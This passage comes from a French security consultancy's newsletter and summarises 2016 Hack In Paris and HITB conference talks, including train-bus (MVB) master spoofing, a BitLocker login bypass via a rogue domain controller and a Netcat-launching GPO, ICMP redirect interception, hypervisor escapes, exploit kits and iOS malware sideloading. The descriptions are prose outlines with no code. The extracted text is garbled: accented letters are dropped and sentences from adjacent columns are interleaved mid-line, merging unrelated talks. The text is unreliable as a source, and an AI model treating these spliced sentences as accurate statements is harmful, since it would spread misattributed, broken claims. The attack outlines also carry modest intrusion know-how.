systme, et identifieront des cas non considrs par celui-ci.
+ Vido
https://www.youtube.com/watch?v=-EUJgpiJ8Jo&in-
dex=3&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
+ Enfin, les modles dapprentissage automatique-
peuvent tre fausss en soumettant suffisamment de
motifs malveillants qui finiront par tre considrs comme
Cette prsentation a permis de faire le constat de valides (model poisoning).
lutilisation de lapprentissage automatique (ou Machine
learning) dans le cadre de la cyber scurit. ce jour, rares
sont les entreprises utilisant lapprentissage dans des cas
concrets. Les rares exemples pouvant tre cits sont les
mcanismes de dtection de spam comme ceux utiliss
par Google qui intgrent ce genre de mcanisme, ou en-
core le mcanisme de proposition darticles de shopping
dAmazon. Lapprentissage se fait par la reconnaissance de
motifs au sein de la donne, combine des tudes statis-
tiques et dheuristiques.

Ainsi, la mise en place dun systme dapprentissage


automatique ncessite dans un premier temps dva-
luer le systme courant, puis den dgager un modle
reprsentatif. Il est ensuite ncessaire dentrainer ce
modle dans le cadre dune utilisation normale, sans
change de donnes malveillantes. Cela permet den
dgager des motifs sains. Enfin, dans le cadre dune
utilisation ouverte tout type de donnes, le systme
Cette mthode est relativement intressante, car elle est doit enfin tre en mesure de qualifier la donne via des
dynamique, peut sadapter suivant le contexte, et nexige mthodes statistiques et dtablir si elle se situe dans un
que peu dintervention humaine (dans la thorie). cadre normal ou malveillant.
Le constat aujourdhui est quil existe trs peu de produits
disponibles sur le march utilisant cette mthodologie. Par La recherche du domaine de lapprentissage automatique
exemple, le traitement des logs de serveur web pourrait est en avance sur les utilisations professionnelles qui restent
tre analys automatiquement de cette manire dans le aujourdhui trop peu nombreuses, car elles sont encore
cadre dune analyse de trafic. difficiles mettre en oeuvre techniquement.
31
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
The titanic methodology toute possibilit de vulnrabilit sur ce train. Moshe Zioni a
Jayson E. Street (@jaysonstreet) donc dcid dtudier la scurit du train concern : le train
Amtrak Cities Sprinter.
+ Vido
https://www.youtube.com/watch?v=BbqszWgGtDo&in-
dex=4&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf

Habitu des confrences prsentant les diffrents checs


rencontrs dans le domaine de la scurit, Jason Street a
cette fois-ci choisi dvoquer ses propres checs et nous a
propos son retour dexprience.

Blue Team Fails


Jayson a, dans un premier temps, voqu ses checs
en termes de communication et dattitude en tant que
membre dune Blue Team. Il a soulign limportance de Les changes entre la console du conducteur et le
cultiver les relations sociales avec tous les employs, de systme dacclration et de freinage se fait sur un BUS de
rester positif en toute situation, et surtout dinviter les communication dfini par le protocole MVB (Multifunction
employs participer globalement leffort de scurit. Vehicule Bus). Les changes sont effectus entre un com-
Lobjectif est de ne pas faire percevoir la scurit comme posant maitre (Central Control Unit, CCU) et des composants
un frein ou un lment contraignant, mais comme tant esclaves comme la Traction Control Unit (TCU) permettant
une des nombreuses composantes de lentreprise. Il est en lacclration du train.
effet indispensable dtre capable de transmettre, mais
aussi dcouter, dintgrer les lments mtiers dvelopps Or, ce protocole ancien prsente plusieurs vulnrabilits :
au sein de la socit pour obtenir de meilleurs rsultats.
+Il ny a pas dauthentification entre les composants.
Red Team Fails
Dans un second temps, il a rappel limportance de ne pas +Les changes transitent en clair.
juger, de ne pas limiter son action dtruire la Blue Team
lors des tests dintrusion en Red Team. Il est indispensable +Il peut techniquement y avoir plusieurs composants
maitres sur le mme BUS.
de les aider corriger les vulnrabilits par le biais des rap-
ports et dchanges. Dans certains cas, il invite mme par-
fois rendre les attaques plus verbeuses ou plus videntes
en fin de mission, pour permettre la Blue Team de jouer Devant ces faiblesses protocolaires
un vritable rle durant les tentatives dintrusion. et techniques, le MVB
ne devrait plus tre utilis
Community Fails sur les trains, tant aujourdhui un protocole
Enfin, il a voqu limportance de ne pas juger les acteurs
de la scurit pour leurs erreurs plus que lon aimerait obsolte.
tre jug si nous en tions les auteurs. Limportant est de
participer, de partager ses expriences et ses connaissances
la communaut. Le confrencier a prsent une attaque permettant de
placer un composant tiers sur le BUS et dusurper ce rle
de maitre pour un des esclaves. Le CCU peut dlguer
What could have derailed the Northeast Regional no. durant une priode dfinie le rle de maitre sur le BUS. Si le
188? composant malveillant rpond spcifiquement et se place
Moshe Zioni (@dalmoz_) - VERINT ponctuellement en maitre, il peut envoyer des commandes
aux diffrents composants tels que le TCU.

+ Slides
http://www.slideshare.net/moshez/abusing-the-train- Les points dinjection sur le BUS sont relativement acces-
communication-network-or-what-could-have-derailed-the- sibles depuis le train ; on les trouve par exemple au sein
northeast-regional-188 des toilettes ou en bout de wagon. La surface dattaque
peut galement tre tendue si le train propose du Wifi,

+ Vido
https://www.youtube.com/watch?v=59I1gd-QAuE&in-
qui utilise indirectement le mme BUS de communication.

dex=5&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf Devant ces faiblesses protocolaires et techniques, le MVB ne


devrait plus tre utilis sur les trains, tant aujourdhui un
Le 12 mai 2015, le train Northeast Regional #188 drail- protocole obsolte. Des protocoles alternatifs comme lECN
lait Philadelphie faisant 8 morts et plus de 200 blesss. (Explicit Congestion Notification) et le TRDP (Train Real-time
Le draillement tait d un dpassement de la vitesse Data Protocol) sont recommands pour la communication
autorise dans une courbe. Certains mdias ont voqu la entre le terminal de contrle du conducteur et les compo-
possibilit que cette augmentation de vitesse aurait pu tre sants mcaniques vitaux du train.

32 due une cyber attaque. La compagnie de train a rejet

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Hack In Paris 2016

All Your Door Belong To Me Attacking Physical Access Ainsi, la sensibilisation aux problmatiques de la scurit
Systems physique est ncessaire afin de garantir de manire globale
Valerie Thomas (@hacktressog) - Securicon Washington DC la protection des accs aux systmes dinformations.

+ Slides
http://fr.slideshare.net/centralohioissa/valerie-thomas-all- From zero to SYSTEM on full disk encrypted Windows
your-door-belong-to-me-attacking-physical-access-systems system
Nabeel Ahmed (@NabeelAhmedBE) & Tom Gilis (@tgilis) -
+ Vido
https://www.youtube.com/watch?v=TqwvVQVm1to&in-
Dimension Data

dex=6&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf

Si la scurit des systmes dinformation est de plus en plus


+ Slides
https://blog.ahmednabeel.com/from-zero-to-system-on-
matrise, la scurit physique est quant elle bien moins full-disk-encrypted-windows-system/
connue. Elle est mme parfois nglige, comme nous la https://blog.ahmednabeel.com/from-zero-to-system-on-
montr Valerie Thomas durant cette confrence. full-disk-encrypted-windows-system-part-2/
La scurit physique est encore souvent considre comme
une affaire de gros bras. Or, les systmes de contrles
daccs sont dsormais connects, dcentraliss et
+ Vido
https://www.youtube.com/watch?v=GDKMjN3VTJw&in-
vulnrables. Globalement, les contrles dex=7&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
daccs physiques exposent aujourdhui une
surface dattaque importante. Sont concerns : Inspirs par la MS15-122 prsente la BlackHat 2015,
nos speakers ont dcid de poursuivre les travaux afin
+Les cartes daccs ; de contourner le mcanisme de chiffrement BitLocker et
sauthentifier sur un systme Windows.
+Les lecteurs ; Lanne dernire, le chercheur Ian Haken tait parvenu
+Les sorties de secours ; dverrouiller une station de travail, mme si le disque
dur de ce dernier tait chiffr. La vulnrabilit CVE-2015-
+Le contrleur daccs (serveur ou client). 6095 exploite provenait du fonctionnement de Windows.
Ce dernier injectait une entre MSCache avec un nouveau
Autant de points pour lesquels des attaques ont t identi- mot de passe, sans vrifier que lauthentification tait ef-
fies et ralises avec succs. fectivement valide. Le patch permettait en consquence
au systme de sassurer que lentre ne serait injecte
que lorsque lutilisateur tait rellement authentifi,
cest--dire suite lobtention dun ticket TGS valide, mis
par le contrleur de domaine AD.

Les confrenciers Navel Ahmed et Tom Gilis ont trouv


un moyen de contourner lauthentification Windows et
dlever leur privilge au niveau SYSTEM. Les conditions
dexploitation sont les suivantes :

+ le systme doit avoir t mis au moins une fois en


hibernation ;

Les cartes daccs RFID peuvent par exemple tre +la victime doit tre membre dun domaine Windows.
mules via des outils comme Proxmark3. Les lecteurs de
Lattaque se droule en deux temps :
carte peuvent tre exploits avec des produits comme le
BLEKey, qui permet de rejouer des identifiants de carte
Dans un premier temps, lattaquant contourne linterface
prcdemment passs sur le lecteur. Les contrleurs dac-
dauthentification Windows. Pour ce faire, il met en place
cs sont bien souvent exposs sur le rseau interne, voire
un serveur de domaine quil contrle. Au sein de lAD, il
externe. Les services tels FTP, Web ou SNMP sont accessibles
configure le compte cibl comme ayant un mot de passe
sans protection et divulguent de nombreuses informations.
expir. Au dmarrage du poste cibl, Windows demande
33
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
ainsi lutilisateur de changer son mot de passe avant Security offense and defense strategies: Video-game
de continuer. Le mot de passe utilis en cache est alors consoles architecture under microscope
mis jour par ce nouveau mot de passe ; la session est Mathieu Renard (@mathieu_renard) & Ryad Benadjila -
dverrouille. ANSSI

Dans un second temps, lattaquant pousse une GPO


spcifiquement forge depuis le serveur de domaine
+ Slides
http://www.ssi.gouv.fr/uploads/2015/06/SSTIC2015-Ar-
malveillant. La GPO en question est une tche planifie ticle-stratgies_de_dfense_et_dattaque__le_cas_des_
qui excute Netcat afin dtablir une connexion entre ce consoles_de_jeux-renard_benadjila.pdf
service et lutilisateur authentifi. Ceci permet lutilisateur
alors authentifi de disposer dun Shell ayant les privilges
SYSTEM sur la machine.
+ Vido
https://www.youtube.com/watch?v=9J8QAoarIrE&in-
dex=10&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
Cette vulnrabilit a t corrige par Windows le 14 juin
2016 (MS16-072 / CVE-2016-3223), 8 mois aprs avoir t Aprs une premire version prsente au SSTIC 2014, lANS-
reporte. Les deux chercheurs ont toutefois annonc quil SI nous a prsent une nouvelle analyse des stratgies de
restait toujours un moyen de contourner lauthentification dfense des consoles de jeux. Les consoles tudies sont la
Windows, non corrige en ltat. PS1, la Xbox, la XBox360, la PS3, et nouveaut pour cette
confrence, la PS4.

Partant d'une plateforme dnue de toute scurit, on d-


> Jour 2 couvre une progression rapide sapparentant comme tou-
jours au jeu du chat et de la souris entre le fabricant et
3 APIs + 1000 lines of code = Super pretty OSINT
les pirates... Et comme bien trop souvent, les pirates ont
Matias Katz (@MatiasKatz) - Mkit
encore gagn. Les premieres consoles navaient pas, ou peu

+ Vido
https://www.youtube.com/watch?v=q1XGJ_PCNNI&in-
de mcanismes de scurit. Au fil du temps, les fabricants
ont mis en place des solutions tels que le SecureBoot, le
chiffrement des binaires, restreignant les possibilits des
dex=9&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
pirates. A ce jour, la PS4 nest pas encore compltement
compromise.
Durant sa prsentation, Matias Katz nous a montr quil
tait possible de mettre en oeuvre une plateforme dOSINT
La prsentation montrait ainsi les mcanismes de protec-
(Open Source Intelligence) en moins dune semaine. Il
tion tablis sur chaque console, les attaques hardware et
sagit dun framework qui cherche un certain type de don-
software relatives celles-ci, ainsi que les correctifs propo-
nes, les stocke et les qualifie. Cette prsentation tait un
ss par les diteurs.
retour dexprience ce sujet.

HARDSPLOIT TOOL : The next Hardware Hacking Labora-


tory ?
Julien Moinard (@Julien_Moinard) - OPALE Security

+ Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
rials/D1T2%20-%20Yann%20Allain%20and%20Julien%20
Moinard%20-%20Hardsploit%20Project.pdf

+ Vido
https://www.youtube.com/watch?v=foeCXe_Gzhc&in-
dex=12&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf

Le speaker est parti des donnes fournies par lAPI twitter, La prsentation de Julien Moinard tait particulirement
retournes en JSON. Il a cherch toutes les rfrences re- technique, et se focalisait sur les problmatiques de lana-
tournes par le mot Brexit, avec des requtes vers lAPI lyse des systmes hardware. Ceux-ci sont de plus en plus
twitter envoyes toutes les secondes. courant avec lavnement de lInternet Of Things. Il devient
donc essentiel de soutiller face aux nombreuses vulnrabi-
LAPI Google est ensuite utilise pour stocker ces donnes, lits contenues dans ce materiel.
et les afficher sur Google map. Enfin, les donnes sont qua-
lifies partir de la bibliothque python Natural Language
Toolkit (NLTK), qui permet de dterminer si le message as-
soci au terme Brexit est positif ou ngatif. Ainsi, lappli-
cation mise en oeuvre permettait davoir une visualisation
en temps rel de lavis global des utilisateurs Twitter sur le
sujet du Brexit.
34
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Hack In Paris 2016

Le confrencier nous a prsent le produit HARDSPLOIT quil Because of the advancements in prosthetics
a ralis. Il sagit dune carte permettant de faciliter la r- Gregory Carpenter (@gscarp12)
cupration et linjection de donnes sur du matriel phy-
sique. Ces donnes peuvent tre des systmes de fichier,
des firmwares, ou plus simplement des mots de passe. Elle
+ Slides
http://fr.slideshare.net/EC-Council/security-concerns-of-fu-
supporte les types de liaison UART, SPI, PARALLEL, I2C et ture-technology-arriving-today-gregory-carpenter
bien sr JTAG/SWD.
+ Vido
https://www.youtube.com/watch?v=zvffct0ZpAM&in-
DIFFDroid - Dynamic Analysis Made Easier for Android dex=14&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
Anto Joseph (@antojosep007) - Intel
Un verre de vin dans une main et un Cohiba dans lautre,
+ Slides
http://fr.slideshare.net/antojoseph007/diffdroidantojo-
cest dans une atmosphre dtendue que Gregory Carpen-
ter sapprte commencer une confrence pour le moins
sephhip2016 intrigante.

+ Vido
https://www.youtube.com/watch?v=E4-yc7CW87U&in-
dex=11&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf

+ Ressource
https://github.com/antojoseph/diff-gui

Laudit dynamique dapplications Android peut tre particu-


lirement long et compliqu ; les outils actuels ncessitent
la plupart du temps plusieurs redmarrages, limport ma-
nuel de librairies, etc.

Anto Joseph nous a prsent un framework web permet-


tant de faciliter considrablement cette tche, interfaant
loutil Frida. Lapplication Frida-server doit en effet tre ins- Dans un monde o il est de plus en plus facile de ne pas
talle sur lappareil mobile (root ncessaire). tre thique, notre confrencier nous prsente un rapide
tat de lart de la technologie lie au domaine mdical. Ci-
tant entre autres des exprimentations de manipulation de
lADN, ou encore lutilisation de nanorobots pour interagir
avec le cerveau, il devient vite vident que des nouvelles
techniques a priori futuristes sont dj bien prsentes et
exprimentes.

Et comme pour toutes les nouvelles technologies, leur scu-


rit est un lment oubli. Les enjeux sont cependant bien
plus graves : que feriez-vous si un ransomware prennait le
contrle de votre pompe insuline, ou de votre Pace-Ma-
ker ? Des exprimentations de manipulation de la mmoire
Linterface web permet de hooker simplement les ont galement t effectues : quelles pourraient tre les
applications Android, de remplacer une mthode donne consquences si nos souvenirs taient altrs notre insu ?
par son propre code, sans redmarrage du systme. Les
changements ont lavantage dtre instantans. En cas Alors que la science-fiction devient science, une prise de
derreur, lapplication retourne des traces aisment exploi- conscience devient ncessaire : la scurit dans le domaine
tables. biologique doit tre considre au plus vite afin de ne pas
basculer de science horreur. Gregory Carpenter invite ainsi
les acteurs de la scurit simpliquer davantage dans la
confection et le maintien de produits mdicaux srs.

35
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Type=5, Code=1 (or Lady In The Middle) mis en oeuvre durant le cadre dune mission.
Dorota Kulas (@dorotaq) - Red Teamer

+ Vido
https://www.youtube.com/watch?v=QYzSz25Bh0M&in-
Gregory Pickett nous a prsent
lavancement de loutil SDN toolkit
dex=13&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf
qui permet de dcouvrir, d' identifier
+ Ressource
https://gitlab.com/litm/redirect
et de manipuler les rseaux
bass sur SDN

Durant sa prsentation, Dorota Kulas est revenue sur le


protocole ICMP (Internet Control Message Protocol) et, en 12 niveaux dintensit ont ainsi t proposs :
particulier, sur le Type 5 de ce protocole. ICMP Type 5, aussi
appel ICMP Redirect, permet de prciser aux parties que
la route choisie par lordinateur metteur est optimale ou
+ 1. Mthodes lgales et non intrusives, via des donnes
libres daccs comme de lOSINT (Open Source Intelligence)
non. Il peut tre utilis comme une attaque, fonctionnelle
sur Windows XP, sur certaines versions de MAC et de Linux. +2. Mthodes via les ressources publiques locales ou
nationales

+3. Mthodes prservant lintgrit des membres dune


entreprise

+4. Mthodes intrusives et invasives


+5. Mthodes thiquement discutables
Lide de lattaque est la suivante :
+6. Mthodes risque occasionnel dillgalit
+7. Mthodes complexes dintrusion au niveau interna-
+ lattaquant doit connaitre lIP de la victime et tre sur
le mme sous-rseau.
tional

+8. Mthodes coercitives


+lattaquant parvient forcer sa victime passer par lui
pour atteindre le serveur, dclarant tre le chemin le plus +9. Mthodes illgales
court.
+10 - 12. Mthode hautement illgale, trahison, viola-
tion du droit international
Cette attaque permet de se placer en MITM (Man In The
Middle) de manire plus prcise et moins verbeuse que de
lARP Spoofing. La confrencire recommande de dsacti-
ver lICMP Redirect sur toutes les machines.

How to successfully execute a professional Social En-


gineering attacks - and make money with it!
Dominique Brack (@Reputelligence) - Reputelligence

+ Vido
https://www.youtube.com/watch?v=GV3Xz0CIrjg&in-
dex=15&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf

Dominique Brack est revenu sur le concept des attaques Le framework propos par Reputelligence permet de sas-
par Social Engineering, et a prsent une mthodologie, un surer que tous les lments sont connus et bien pris en
framework mis la disposition des entreprises. charge. Il permet galement la conduite dun contre-audit
afin de sassurer du progrs des employs face des vec-
Aucun logiciel ne peut corriger des failles humaines, il est teurs spcifiques.
donc primordial de faire de la prvention et dorganiser des
sances de sensibilisation auprs des employs. Le conf-
rencier recommande notamment lutilisation de logos et de
donnes parlant aux quipes dirigeantes.

Dans un contexte professionnel, il est galement ncessaire


36 de prciser les diffrents vecteurs dattaques pouvant tre

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Hack In Paris 2016

Abusing Software Defined Networks (Part Two) Rfrences


Gregory Pickett (@shogun7273)
Hellfire Security

+ Vido
+ https://www.youtube.com/playlist?list=PL3UAg9Zu-
j1yJ_6pySNwbJWi_M1RqJU7Wf
https://www.youtube.com/watch?v=49ZbieW1wi4&in-
dex=16&list=PL3UAg9Zuj1yJ_6pySNwbJWi_M1RqJU7Wf +https://hackinparis.com/
Cette confrence fait suite la prsentation Abusing
Software Defined Networks qui a eu lieu la Black Hat
Europe 2014, par le mme confrencier Gregory Pickett.
Comme son nom lindique, elle faisait rfrence aux mo-
dles darchitecture Software-defined Networking
(SDN), permettant aux administrateurs rseau de grer les
services de rseau par abstraction de fonctionnalits.

Gregory Pickett nous a prsent lavancement de loutil


SDN toolkit qui permet de dcouvrir, identifier et de ma-
nipuler les rseaux bass sur SDN, de la mme manire
quun pentester peut le faire face une application web.

Ces diffrents outils permettent en effet de lancer une auto


dtection des contrleurs, des mcanismes dauthentifica-
tion, des ports ouverts. La configuration SSL/TLS peut ga-
lement tre audite et teste. Il est possible de lancer des
attaques et de tenter didentifier les mots de passe sur les
diffrents services accessibles.

Cette phase semi-automatique peut enfin tre couple


avec des tests dinjection manuels.

37
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> Confrences scurit

Retour sur ldition 2016


de Hack In The Box (HITB)

Par Bastien CACACE et Rodolphe NEUVILLE

Cette anne encore, XMCO tait partenaire de la conf- Virtualization System Vulnerability Discovery
rence Hack In The Box. Retour sur cette septime dition Framework
qui sest droule il y a peu. Tang Qinghao

Nous dcrirons ici le dtail des prsentations suivies par


nos consultants.
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
rials/D1T1 - Tang Qing Hao - Virtualization System Vulnera-
Les supports de prsentation sont disponibles sur le site de bility Discovery Framework.pdf
la HITB, ladresse suivante : https://conference.hitb.org/
hitbsecconf2016ams/materials/ Pour dbuter cette nouvelle dition de la Hack in The Box
Amsterdam, Tang Qinghao de Qihoo 360, une socit
chinoise connue pour son logiciel antivirus a prsent les
travaux de recherche de ses quipes sur un systme de
38 fuzzing sur les hyperviseurs.
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
La virtualisation est un lment de plus en plus populaire Escape From The Docker-KVM-QEMU Machine
la fois auprs des particuliers que des entreprises, de par Shengping Wang et Xu Liu
lutilisation intensive du Cloud. La scurit de ces environ-
nements et des conteneurs (hyperviseur) est d'autant plus
cruciale que le panel de services proposs travers ces en-
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/wp-
vironnements cloud est de plus en plus diversifi: emails, content/uploads/2015/11/D1T1-Shengping-Wang-and-Xu-
stockage, calcul, hbergements et le nombre dacteurs pr- Liu-Escape-From-The-Docker-KVM-QEMU-Machine.pdf
sents sur le march se multiplie : Google, Dropbox, Amazon
AWS, Microsoft Azure, etc.
Shengping Wang et Xu Liu ont poursuivi le thme prcdent
Les hyperviseurs de par leur technologie engendrent de de lvasion denvironnement cloisonn et/ou virtualis en
nouveaux risques comme l'chappement d'un environne- revenant sur les mthodes dchappement des environne-
ment virtualis, les attaques entre les machines virtuelles ments Docker et KMV-QEMU trs populaires sur les services
et les fuites d'information entre plusieurs machines vir- de Cloud.
tuelles, mais galement la prise de contrle de systme
hte de virtualisation. Docker utilise deux technologies principales dans Linux pour
fabriquer des conteneurs, il s'agit notamment des cgroups
et des namespaces.

L'utilisation de ce framework
ddi aux environnements virtualiss
leur a ainsi permis de dcouvrir 9
vulnrabilits sur QEMU et 2 vulnrabilits
affectant VMWare

Le principal risque li Docker repose sur lutilisation dun


conteneur malveillant. Tout service ne validant pas lint-
Le framework dvelopp par les quipes de Qihoo 360 ne grit ou lorigine dun conteneur est donc potentiellement
prsente en soit pas de nouveauts particulires puisque le vulnrable des vasions de lenvironnement Docker d-
principe reste propre au fuzzing: ploy. En effet, lors du chargement du Docker, le service

+ Analyser les donnes et les flux entre les diffrents


composants de la machine virtuelle
dcompresse rcursivement toutes les images. Or, le ser-
vice Docker est initialis avec les droits root pour accder
aux capacits du noyau Linux. De plus et par dfinition,

+ Altrer ces donnes et mesurer les temps dexcution


rsultants
tous les conteneurs Docker partagent le mme kernel que
le systme hte, donc toute vulnrabilit kernel exploitable
depuis un conteneur affectera galement le systme hte.

+ Enregistrer toutes les activits anormales, dont les plus


minimes

+ Analyser ces activits et en trouver la raison


Parmi les secrets de ce framework, on retiendra que le prin-
cipal vecteur de failles de scurit repose sur l'mulation
des composants matriels et non sur l'mulation du sys-
tme d'exploitation mme. L'utilisation de ce framework
ddi aux environnements virtualiss leur a ainsi permis
de dcouvrir 9 vulnrabilits sur QEMU et 2 vulnrabilits
affectant VMWare Workstation en seulement 90 jours. Leur
exploitation permettait un attaquant accdant un envi-
ronnement virtuel de s'chapper du cloisonnement et d'ac-
cder au systme hte.
Concernant lenvironnement KVM-QEMU, aprs un rappel
du fonctionnement et des mcanismes de base du coeur du
Les vulnrabilits dcouvertes par son quipe ont depuis
moteur de virtualisation, les confrenciers ont prsent le
t corriges. Elles sont rfrences CVE-2015-5225, CVE-
fonctionnement de vulnrabilits rcemment dcouvertes
2015-5279, CVE-2015-6815, CVE-2015-6855, CVE-2015-
par leurs quipes de recherche dont notamment les vuln-
8345, CVE-2015-7504, CVE-2015-7549, CVE-2015-8567,
rabilits lies la gestion et la manipulation de la mmoire
CVE-2015-8568, CVE-2015-8558, CVE-2015-8613, CVE-
de lenvironnement virtualis (VENOM, CVE-2015-7504,
2015-8701, CVE-2016-1568, CVE-2016-1570, CVE-2015-
CVE-2015-5165, etc.).
2392.
39
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
HITB 2016

Exploit Kits: Hunting the Hunters et actuellement utilis par les criminels, notamment parce
Nick Biasini (@infosec_nick) qu'il dispose d'un mode d'intgration des nouvelles vuln-
rabilits rendues publiques trs rapidement, augmentant
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
d'autant plus sa capacit infecter de nouveaux systmes.
Il intgre galement des vulnrabilits de type "0day" qui
rials/D1T1%20-%20Nick%20Biasini%20-%20Exploit%20 ne sont pas connues des diteurs.
Kits%20-%20Hunting%20the%20Hunters%20.pdf
Les souches du kit d'exploitation Angler disposent gale-
A travers cette confrence, Nick Biasini, chercheur pour le ment d'une infrastructure bien plus sophistique que les
compte de la socit Talos Security, est revenu sur la mtho- premiers kits d'exploitation. Chaque souche dispose d'un
dologie qu'il a suivie pour traquer et analyser le fonction- serveur mandataire central (proxy), d'un serveur dlivrant
nement et l'volution des kits d'exploitation. Il est notam- les codes d'exploitation, d'un serveur de monitoring et
ment revenu sur les rsultats de ses travaux de recherches, enfin d'un serveur matre denregistrement des journaux
et comment, par la suite, il a pu les exploiter pour rduire d'vnements des autres serveurs de l'infrastructure.
l'impact et influer sur le comportement des administrateurs D'aprs ses recherches, Angler Kit rapporterait 2,9 millions
de ces botnets. de dollars mensuellement ses administrateurs.

Cette confrence trs ludique a prsent l'tude en masse Le kit d'exploitation Nuclear quant lui se transmet mas-
de 3 variantes de kits dexploitation : Angler, RIG, Nuclear sivement au travers de fichiers JS de mmes noms d'ap-
et Gate. parence anodine : compiled.js, headers.js, min.js, lang.js,
ga.js, core.js, jquery.js, detectAn.js, quotes.js, ips.js, dropb-
Aprs quelques rappels sur les kits d'exploitation, il est in- down.js ou encore features.js.
tressant de noter que, d'aprs Nick Biasini, les attaquants
opportunistes souhaitant montiser leur botnet cherchent Au travers de son analyse qui s'est tale sur plus d'un an,
principalement infecter des ordinateurs de particuliers Nick est parvenu mettre en vidence des relations entre
avec des ransomeware. les kits d'exploitation Angler et Rig. Dans un premier temps,
une mme campagne de SPAM pouvait amener sur les
cela 2 raisons : deux kits d'exploitation, de plus une mme infrastructure
a t utilise un jour par Angler et le jour d'aprs par Rig.
+ les particuliers ont une maturit en scurit bien moins
volue que les entreprises qui disposent gnralement
d'outils de scurit plusieurs niveaux (antivirus, IDS, IPS, Telescope: Peering Into the Depths of TLS Traffic in Real-
pare-feu, etc.) Time
Caragea Radu
+ les ransomewares sont les plus rentables, car ils per-
mettent directement de montiser l'infection sans passer
par un tiers, contrairement aux solutions plus complexes
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/ma-
qui reposent sur la vente dinformations drobes sur le terials/D1T1%20-%20Radu%20Caragea%20-%20Pee-
systme informatique ou la ralisation de services tiers (ex: ring%20into%20the%20Depths%20of%20TLS%20Traf-
dni de service ou minage de monnaies virtuelles) fic%20in%20Real%20Time.pdf

Caragea Radu, chercheur en scurit chez BitDefender,


a prsent un nouvel outil dextraction de cls TLS dune
machine virtuelle depuis lhyperviseur. Cette nouvelle m-
thode dtecte la cration de cls de session TLS en mmoire
lorsquune machine virtuelle se connecte un site web.

Cette prsentation ne faisait pas lobjet dune attaque sur


la cryptographie ni sur le protocole ou son implmentation.
Lobjet de cette prsentation tait une extraction des don-
nes en mmoire depuis lhyperviseur dune machine vir-
tuelle.

Le chercheur nous a tout d'abord prsent les diffrentes


40 Ainsi, le kit d'exploitation Angler est l'un des plus labors techniques dinterception et de dchiffrement des flux TLS
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
(telle que laffaire controverse du certificat Superfish ou SandJacking: Profiting from iOS Malware
loutil PANDA) en se basant sur loutil PANDA, tout en op- Chilik Tamir
timisant le processus de rcupration des cls en rendant
alors cette tape beaucoup plus rapide et portable. + Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
Lorsque la connexion TLS est active, les cls sont stockes rials/D1T2%20-%20Chilik%20Tamir%20-%20Profiting%20
en mmoire de la machine virtuelle. Nanmoins, lempla- from%20iOS%20Malware.pdf
cement des cls est inconnu et copier le contenu intgral
de la mmoire vive est beaucoup trop long pour dchiffrer Chilik Tamir, chercheur en scurit chez Mi3 Security bas en
les flux en temps rel (une copie de 4 Go de mmoire est Californie, a dcouvert de nouvelles attaques permettant
suprieure 10 secondes). dinstaller des applications malveillantes sur un appareil iOS
non jaibreak. Lune des vulnrabilits exploites nest
Pour optimiser cette tape, le chercheur traque les toujours pas corrige par Apple.
handshake SSL et copie uniquement le diffrentiel de
mmoire avant et aprs un handshake. Ceci a pour cons- Le chercheur a commenc sa prsentation en expliquant
quence de rduire drastiquement la taille du dump de que le processus de cration de certificats pour dveloppeur
mmoire. avait volu depuis Xcode 7 permettant dsormais de g-
nrer des certificats anonymes. Xcode est un environne-
Finalement lapplication Telescope fonctionne de la faon ment de dveloppement pour Mac OS X et iOS et permet
suivante : de programmer et tester ses applications.

+ Filtre les vnements rseau de la cible et les envois


Netfilter

+ Enregistre les messages hello du serveur


(handshake TLS)

+ Arrte lenregistrement et copie (dump) les pages m-


moire

+ Cration dun trs petit dump de la mmoire (entre 1


et 10 Mo pour une VM Linux et 15 60 Mo pour une VM
Windows).

+ Parcours du dump la recherche des cls


Depuis la version 7 dXcode, il est ainsi possible de crer
Pour ltape 5, le chercheur sest appuy sur une suite de un certificat en enregistrant simplement un identifiant
bits constants de handshakes (14 00 00 0C) pour identifier Apple. Crer un identifiant Apple demande uniquement
et rcuprer la cl de chiffrement. une adresse email et un nom. Ces informations peuvent
facilement tre fausses, permettant ainsi de dissimuler
Le chercheur a effectu une dmonstration en dchiffrant son identit.
une connexion au serveur Gmail de Google.
Ces certificats dveloppeur permettent de dployer une ap-
plication sur un appareil sans passer par lApple Store et
donc de contourner le processus de revue de code. Bien
que ces applications naient pas accs toutes les fonction-
nalits offertes par Apple (Apple Pay, Game Center, iCloud,
etc.), elles peuvent tre de nature malveillante (accs aux
donnes GPS, au carnet dadresses ou encore aux donnes
de sant contenues dans HealthKit).

Tamir a cr un outil proof-of-concept appel Su-A-


Cyder quil avait dj prsent la confrence Black Hat
Asia. Son outil permet de remplacer une application lgi-
time par une version malveillante qui se comporte de faon
similaire loriginale. Celle-ci permet ensuite lattaquant
